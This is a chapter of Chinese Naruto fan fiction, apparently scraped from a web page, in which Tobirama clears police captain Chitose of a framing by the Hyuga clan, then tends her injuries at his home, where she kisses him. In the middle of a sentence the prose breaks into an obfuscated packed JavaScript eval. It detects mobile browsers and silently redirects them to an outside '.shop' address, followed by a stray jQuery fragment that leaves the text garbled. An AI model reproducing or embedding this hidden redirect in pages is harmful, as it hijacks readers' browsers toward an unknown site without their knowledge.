千岁骤然抬头,一道低沉清冽的男声稳稳自身后响起,穿透林间所有嘈杂与污蔑。
不知何时,千手扉间已然静立在她身后,宽大的手掌稳稳搀扶住她摇摇欲坠的身体,替她撑起了即将倾塌的局面。
“扉间大人……”
千岁嗓音虚弱沙哑,带着一丝尚未回过神的恍惚。
扉间垂眸落向她的面容,少女脸色虚弱,鼻血浸染了下半张脸颊,狼狈又单薄,处处透着受尽重创的脆弱模样。
看得他心口骤然发紧,满心疼惜翻涌而上。
他强行压下心底的戾气与心疼,放柔了清冷的语调,低声安抚:
“不必担心,有我在。”
一众日向族人看到千手扉间将千岁护在怀里的样子,立刻开口:
“扉间大人,就算她是您的未婚妻,您也不能就这般包庇。”
“就是,木叶还有没有律法了。”
闻言,扉间毫无波动,他单手稳稳扶着千岁的腰身,另一只手抬手从忍具包中取出一枚古朴卷轴。
“这是查克拉感应轨迹卷轴。”
扉间语气平静笃定,字字落地有声,
“方才整片密林的战斗波动、查克拉流转轨迹,尽数被卷轴完整记录留存。只需复盘溯源,便可清晰还原全程真相。”
方才那场精心策划的自尽嫁祸、所有攻防流转、查克拉动向,无一遗漏,全部被这枚特制卷轴精准收录。
这便是能够彻底证明千岁清白、击碎所有构陷的唯一铁证。
一旁全程护着犬塚阳斗、始终悬着心的吉川,听闻此话,紧绷的心弦瞬间彻底松开,暗暗松了一口长气。
下一瞬,数道利落身影破空而至,一众追随扉间而来的千手精英稳稳落地,整齐肃立在他身后待命。
无需言语,仅仅一个清冷眼神,他们便瞬间领会所有指令。
千手族人迅速上前,妥善封存保管那日向族人的尸体,杜绝对方后续继续借尸体大做文章。同时出声有序遣散了在场聚众控诉、蓄意造势的日向族人,瞬间平息了林间混乱。
昏迷的犬塚阳斗也在两名宇智波警务队员与千手族人的共同护送下,被稳妥送往火影大楼医疗室接受救治。
待林间风波彻底平息、所有后事妥善处置完毕,周遭终于恢复静谧。
扉间再次垂眸望向身前的少女。她脸上血迹未净,神色昏沉恍惚,受了柔拳内伤的身体依旧微微发颤,整个人晕乎乎的,全然没了往日办案时的果决,模样格外惹人心疼。
他缓缓掏出干净的手帕,缓步上前,抬手轻轻捧住少女的脸颊,动作轻柔至极,一点一点细致擦拭着她脸上残留的血迹。
千岁没有挣扎,温顺地任由他动作。
指腹隔着柔软的手帕轻轻摩挲,力道轻柔舒缓,擦得她脸颊微微晃动,温顺乖巧的模样,像一只被温柔安抚的小猫。
她望着近在咫尺的清冷眉眼,轻声疑惑开口:
“扉间大人,您怎么会突然出现在这里?”
扉间动作微顿,眸光下意识偏开,避开她的视线,低声轻咳两声,语气故作淡然:
“……顺便路过。”
立在身后的一众千手手下闻言,额角齐齐滑下几道黑线。
谁都清楚,自家这位素来严谨自律、事事规整的扉间大人,从来不会有无端路过的闲情。
他是听闻日向族人掳走人证、密林局势凶险,放心不下千岁,才特意全速赶来驰援。
偏偏生性内敛要强,从不愿直白流露半分温情,明明是专程奔赴、满心牵挂,却非要故作云淡风轻的顺路偶遇。
一名胆大的千手部下轻咳一声,故意上前半步,隔着距离佯装无意开口:
“扉间大人方才一路施展瞬身术疾驰赶来,属下等人全力追赶,险些都跟不上您的速度。”
“瞬身术?”
千岁微微一怔,侧首疑惑看向那名手下。
下一瞬,下颌便被扉间的指尖轻轻扶正。
扉间回眸淡淡扫了身后部下一眼,制止了他的打趣,随即收回所有目光,专注落回少女的面容上,语气温柔绵长:
“别乱动,脸上还没擦干净。”
天光渐沉,落日余晖彻底褪去,夜幕悄然笼罩整片密林。一日跌宕起伏、风波不断,不知不觉间,已然入夜。
千岁想起尚未落幕的三方会审。
如今唯一的行凶嫌疑人已死,人证几经波折,案情错综复杂,她一时茫然无措,不知该如何继续搜集证据、敲定日向日翔的罪责,也不清楚议事厅此刻局势如何。
千岁犹豫了一瞬,才开口:
“扉间大人,我还要返回议事厅向火影大人复命,警务部队还有后续审讯工作要处理……”
“不必急。”
扉间轻声打断她,语气安稳让人安心:
“我早已让人将查克拉轨迹卷轴送往议事厅、交到斑手中,你的清白与真相,那边已然知晓。今日伤势为重,你安心休养即可。”
说罢,他叠好手帕收起,目光仔细扫过她单薄的身形,想起她方才身受的重创,抬手拿出随身携带的绷带,低声询问:
“还有哪里受伤了?”
“这里。”
千岁闻言,抬起指尖,指向自己的胸口位置:
“里面疼。”
刚拆开绷带、准备为她包扎处理伤势的扉间,动作骤然一顿,指尖僵在半空。
他沉默两秒,默默收回绷带,若无其事地揣回忍具包。
身后几名懂事的千手手下纷纷轻咳掩饰,集体目视前方,假装什么都没有听见、什么都没有看到,维持着严肃规整的姿态。
吉川看着眼前神色窘迫内敛的扉间,再看向浑然不觉氛围、一脸懵懂茫然的自家大人,当即上前一步,故意出声点破:
“扉间大人,千岁大人的意思是,想让您带她回家休养治疗。”
千岁侧过眼眸,略带疑惑:
“什么时候成我的意思了?”
扉间望着少女一脸纯粹茫然、丝毫未觉暧昧的模样,又瞥见吉川眼底暗藏的打趣,只能闭眼压下心底纷乱,故作沉稳正色:
“我知道了。”
话音落下,他淡淡扫了身后待命的千手手下一眼,不等千岁反应,径直将她整个人横腰抱起。
“你——”
千岁的话音才刚起扉间已然施展飞雷神瞬身术,两道身影瞬间破空消失。
千手扉间宅邸
扉间的宅邸一如主人的性子,清冷规整、陈设极简,没有多余的摆件与装饰,处处干净利落。
连通庭院的起居室铺着素净榻榻米,夜色浸透院落,月光静静洒落,铺满地台。
两人并肩坐在屋外的木质廊沿下,夜风微凉,月色温柔。
扉间始终垂着眼眸,视线刻意克制,不敢轻易上抬。
他掌心缠着洁白绷带,一圈一圈细致地绕在少女腹间肋骨的伤处。千岁已然褪去厚重的族服外袍,将内里的黑色内搭轻轻向上撩起,坦然露出受伤的腰腹与肋骨位置,安静任由他处理伤势。
近在咫尺的距离里,他能清晰感受少女身上干净清甜的气息,萦绕鼻尖,挥之不去。
她纤细白皙的手臂轻垂在侧,而视线所及、最让他心神紧绷、窘迫难安的,是少女身前柔和起伏的线条。
距离太过贴近,只要他微微抬眼,便会将所有景致尽收眼底。
扉间敛尽目光,屏息凝神,耳根却红得愈发浓烈,心底的悸动与慌乱层层翻涌,只能靠着极强的自制力强行压制。
良久,他终于将绷带稳妥缠好,指尖覆上绷带表层,缓缓渡入温润的治愈查克拉,抚平她肋间受损的创伤。
待治疗结束,千岁抬手,将内搭缓缓拉下,遮住肌肤,两人之间稍稍拉开些许距离。
可扉间心底的慌乱丝毫未减,耳尖绯红一片,滚烫的温度迟迟不散,满腹心绪凌乱不堪。
夜风穿庭而过,卷来一缕寒凉。
千岁肩头微颤,忍不住轻轻打了个喷嚏。
扉间见状起身,步入起居室拉开壁橱,取出一件干净素雅的外搭羽织,折返回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716062|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,轻轻披在少女的肩头,替她隔绝晚风寒意。
千岁拢了拢身上带着微凉清冽气息的羽织,小声嘟囔:
“扉间大人,您的衣服怎么总是这个颜色?”
“这是千手族服。”扉间低声如实解释。
目光落在她方才打喷嚏而微微泛红的圆润鼻头上,他心底所有的窘迫无奈,尽数化作一片柔软温柔。
这是千岁第一次踏入他的宅邸。
她环视屋内寥寥无几的陈设,再转头看向身侧端坐的男人。
他明明耳尖泛红、心绪大乱,脸上却依旧维持着清冷淡然、万事不惊的沉稳神色,别扭又可爱。
想起今日密林绝境之中,他准时出现、替她洗去污名、护她周全的模样,千岁沉默片刻,挪开视线。
良久,少女轻声开口:
“扉间大人,您应该不是正好路过吧。”
扉间沉默一瞬。
既然早已被她看穿,他便不再刻意掩饰,低声应下:“……嗯。”
“所以,您是早就料到日向族长的计谋,才特意随身带了查克拉复刻卷轴?”
没错。
自打三方会审的消息传开,扉间心底便隐隐察觉事态诡异。
以日向日翔深沉的城府,布局筹谋从不会留破绽,绝不会坐以待毙、任人定罪。日向族人掳走犬塚阳斗,看似是抢夺人证、垂死反扑,实则是刻意造势、掩人耳目,为最后的绝境反杀铺路。
以族人一死,换全族安稳。
以一场精心编排的自尽嫁祸,彻底拖垮身为警务队长的千岁。
只要这名族人一死,所有罪责都能被定性为个人私行,与日向族长、日向一族彻底剥离。
区区一条人命,便能全盘逆转死局,洗清所有罪孽。这般狠绝又精密的算计,是日向日翔最擅长的手段。
他从头到尾担心的,从来不是案情输赢。
他怕的是眼前的少女深陷风波、落入圈套,怕她被人心算计、沦为权力博弈的牺牲品。
他只想护她周全。
可这份汹涌炙热的心意,内敛别扭的他,从来都羞于开口、拉不下半点颜面诉说。
见扉间垂眸沉默、欲言又止的模样,千岁微微倾身,仰起小脸,澄澈直白的目光直直锁住他的眉眼:
“扉间大人又不说话了。”
被她这般直白的眼神凝望注视,扉间瞬间再度无措。他素来如此,性子执拗又别扭,半生隐忍克制,从来学不会直白倾诉心意。
他内心其实是不安的。
若是将心意全然袒露,若是直白告诉她自己满心满眼都是她,她会不会在后山坡那一次一样疏离躲避?会不会再度推开他、拒绝所有亲密?
他最怕她这副若即若离、忽远忽近的模样,更怕自己一腔热忱,终究换来她刻意的疏离与推开。
心绪翻涌纷乱之际,下一瞬,少女忽然微微前倾身体,抬手轻轻捧住他的脸颊。
柔软微凉的唇瓣,轻轻落在他的侧颜,印下一个极轻极软、转瞬即逝的吻。
扉间整个人彻底僵住。
大脑一片空白,全然来不及反应,所有思绪尽数停留在方才那一瞬柔软的触感上。
是她主动的。
是千岁,主动吻了他。
方才压下的慌乱与悸动,瞬间席卷全身,彻底打乱他所有心神,她的一举一动,永远轻易牵动着他所有的情绪与不安。
看着扉间怔然失神、一动不动的模样,千岁微微垂眼,带着一丝失落,轻声开口:
“扉间大人不喜欢我这样吻你。”
这句话如同点燃引线的星火,瞬间炸开了扉间压抑已久的所有躁动与不安。
心底翻涌的情愫滚烫灼热,他几乎克制不住想要将她紧紧拥入怀中、狠狠相拥相吻的冲动。可他依旧死死克制着汹涌的欲望,抬眸望向眼前的少女。
清冷的眼眸里翻覆着浓得化不开的深情,沉郁又委屈,裹挟着长久以来的隐忍与患得患失:
“千岁,你总是这样……肆意撩拨,玩弄我的心意。”